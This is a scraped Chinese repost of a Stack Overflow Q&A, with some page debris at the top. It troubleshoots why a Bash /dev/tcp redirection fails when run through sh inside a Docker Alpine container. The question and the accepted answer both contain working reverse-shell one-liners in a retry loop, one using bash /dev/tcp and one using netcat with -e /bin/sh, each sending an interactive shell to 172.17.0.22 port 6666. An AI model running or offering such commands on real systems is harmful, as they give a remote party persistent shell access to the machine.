/: nonexistent directory"-6ren"> /: nonexistent directory"-我正在尝试创建一个连接到特定 IP 和端口的容器,但它不适用于 bash,只能用于常规 shell。 当我像这样使用 bash 重定向创建容器时: docker run -it alpine sh --6ren">
gpt4 book ai didi

Bash 重定向不适用于容器创建 : "can' t create/dev/tcp//: nonexistent directory"

转载 作者:行者123 更新时间:2023-12-05 05:00:03 24 4
gpt4 key购买 nike

我正在尝试创建一个连接到特定 IP 和端口的容器,但它不适用于 bash,只能用于常规 shell。

当我像这样使用 bash 重定向创建容器时:

docker run -it alpine sh -c 'apk update && apk add bash && while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done'

我收到以下错误:

sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory

但是如果我像那样单独创建它:

$ docker run -it alpine sh -c 'apk update && apk add bash; bash'
bash-4.4# while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done

它会起作用。

我读过这个类似的案例,但他写道它应该适用于 vesrion 2+,而我有 4.4。

最佳答案

好的,我解决了它,这是括号的问题,我需要用 -c 调用 bash,然后运行里面的命令让它识别它:

docker run -it alpine sh -c 'apk update && apk add bash && bash -c "while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done"'  

顺便说一句,解决方法就是像这样使用 shell:

sh -c while true; do nc 172.17.0.22 6666 -e /bin/sh; sleep 2; done

关于Bash 重定向不适用于容器创建 : "can' t create/dev/tcp/<ip>/<port>: nonexistent directory",我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/63288237/

24 4 0